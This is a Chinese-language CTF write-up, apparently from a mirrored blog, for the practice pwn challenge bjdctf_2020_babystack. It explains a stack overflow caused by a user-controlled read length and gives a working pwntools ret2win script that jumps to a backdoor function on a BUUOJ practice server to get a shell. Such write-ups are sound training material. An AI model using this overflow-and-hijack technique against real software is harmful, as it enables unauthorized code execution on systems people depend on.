当前位置:网站首页>bjdctf_2020_babystack
bjdctf_2020_babystack
2022-06-24 07:22:00 【[mzq]】
bjdctf_2020_babystack

checksec 一下 64比特程序 沒開啥東西 ,ida看一下程序
main函數
咋一看read函數讀入0個字符串,讀了個寂寞,scanf也不能溢出,好像沒有問題
但是scanf會讀入一個用戶輸入的數賦值給nbytes ,然後read會讀取nbytes大小的字符,也就是說我們可以任意溢出長度
backdoor函數
運行這個函數直接拿到shell
exp
ret 是為了平衡棧 其實往backdoor函數後遞+1也行
from pwn import *
io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561
print backdoor
io.sendlineafter(b"Please input the length of your name:","100")
payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])
io.sendlineafter("What's u name?",payload)
io.interactive()

边栏推荐
- 20个不容错过的ES6技巧
- 【pointNet】基于pointNet的三维点云目标分类识别matlab仿真
- FreeRTOS MPU makes the system more robust!
- 在js中正则表达式验证小时分钟,将输入的字符串转换为对应的小时和分钟
- 【WordPress建站】6. 文章内容防复制
- The initial user names and passwords of Huawei devices are a large collection that engineers involved in Huawei business should keep in mind and collect!
- 现货黄金有哪些眩人的小技术?
- An example of MySQL accidental deletion recovery - using Myflash
- Multi sensor fusion track fusion
- JVM debugging tool -jps
猜你喜欢

Win11分磁盘怎么分?Win11系统怎么分磁盘?

Leetcode probability interview shock series 11~15

Win11笔记本省电模式怎么开启?Win11电脑节电模式打开方法

华为云图引擎服务

内网学习笔记(4)

FreeRTOS MPU makes the system more robust!

Spark project Packaging Optimization Practice

In the middle of the year, I have prepared a small number of automated interview questions. Welcome to the self-test

MySQL enable binlog

简单使用Modbus转BACnet网关教程
随机推荐
Why use lock [readonly] object? Why not lock (this)?
In JS, the regular expression verifies the hour and minute, and converts the input string to the corresponding hour and minute
0 foundation a literature club low code development member management applet (III)
[WordPress website] 6 Article content copy prevention
前缀和专题训练
超宽带脉冲定位方案,UWB精准定位技术,无线室内定位应用
树莓派4B开发板入门
High energy ahead: Figure 18 shows you how to use the waterfall chart to visually reflect data changes
伦敦金的资金管理比其他都重要
1. go deep into tidb: see tidb for the first time
PCL calculates the area of a polygon
JVM debugging tool -jvisualvm
0 foundation a literature club low code development member management applet (I)
In the middle of the year, I have prepared a small number of automated interview questions. Welcome to the self-test
[GUET-CTF2019]zips
Bay area enterprises quick look! The focus of the data regulations of Shenzhen Special Economic Zone just released is coming!
FreeRTOS MPU makes the system more robust!
Win11笔记本省电模式怎么开启?Win11电脑节电模式打开方法
The latest crawler tutorial in 2021: video demonstration of web crawling
0 foundation a literature club low code development member management applet (4)